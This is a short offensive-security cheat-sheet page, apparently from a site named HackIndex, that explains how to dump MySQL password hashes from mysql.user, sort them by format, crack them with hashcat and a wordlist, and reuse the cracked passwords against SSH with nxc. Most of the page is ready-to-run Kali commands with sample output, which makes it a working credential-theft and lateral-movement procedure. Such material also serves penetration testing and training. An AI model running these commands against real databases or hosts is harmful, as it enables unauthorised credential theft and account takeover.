Skip to content
HackIndex logo

HackIndex

MySQL Hash Extraction and Cracking

2 min read Jul 14, 2026

MySQL stores password hashes in the mysql.user system table. With sufficient privileges to read that table, all account hashes are extractable for offline cracking. mysql_native_password hashes use double SHA1 which cracks quickly with modern hardware. caching_sha2_password hashes use SHA256 which is slower but still crackable. Cracked hashes may be reused across other services on the same host or network — database administrators frequently reuse passwords across MySQL, SSH, and application accounts.

Dump All Password Hashes

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT user, host, authentication_string FROM mysql.user WHERE authentication_string != '' AND authentication_string != '*';" > /tmp/mysql-hashes-raw.txt
┌──(kali㉿kali)-[~]
└─$ cat /tmp/mysql-hashes-raw.txt 
root	localhost	$A$005$Rk3K...
app_user	%	*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
backup	localhost	*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

Split Hashes by Type

Separate the hashes into files by format for the correct hashcat mode:

┌──(kali㉿kali)-[~]
└─$ grep -P '\t\*[A-F0-9]{40}$' /tmp/mysql-hashes-raw.txt | awk '{print $3}' > /tmp/native-hashes.txt
┌──(kali㉿kali)-[~]
└─$ grep -P '\t\$A\$' /tmp/mysql-hashes-raw.txt | awk '{print $3}' > /tmp/sha2-hashes.txt
┌──(kali㉿kali)-[~]
└─$ echo "Native password hashes: $(wc -l < /tmp/native-hashes.txt)"
┌──(kali㉿kali)-[~]
└─$ echo "SHA2 hashes: $(wc -l < /tmp/sha2-hashes.txt)" 
Native password hashes: 2
SHA2 hashes: 1

Crack mysql_native_password Hashes

Mode 300 handles the double SHA1 format used by mysql_native_password:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 300 /tmp/native-hashes.txt /usr/share/wordlists/rockyou.txt 
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:password
Session..........: hashcat
Status...........: Cracked
┌──(kali㉿kali)-[~]
└─$ hashcat -m 300 /tmp/native-hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Crack caching_sha2_password Hashes

Mode 7401 handles the SHA256-based caching_sha2_password format:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 7401 /tmp/sha2-hashes.txt /usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 7401 /tmp/sha2-hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Show Cracked Results

┌──(kali㉿kali)-[~]
└─$ hashcat -m 300 /tmp/native-hashes.txt --show
┌──(kali㉿kali)-[~]
└─$ hashcat -m 7401 /tmp/sha2-hashes.txt --show

Test Cracked Passwords Against Other Services

Database administrator passwords frequently reuse across SSH, web panels, and other services. Test each cracked password against the same host:

┌──(kali㉿kali)-[~]
└─$ ssh $USER@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u $USER -p $PASSWORD

References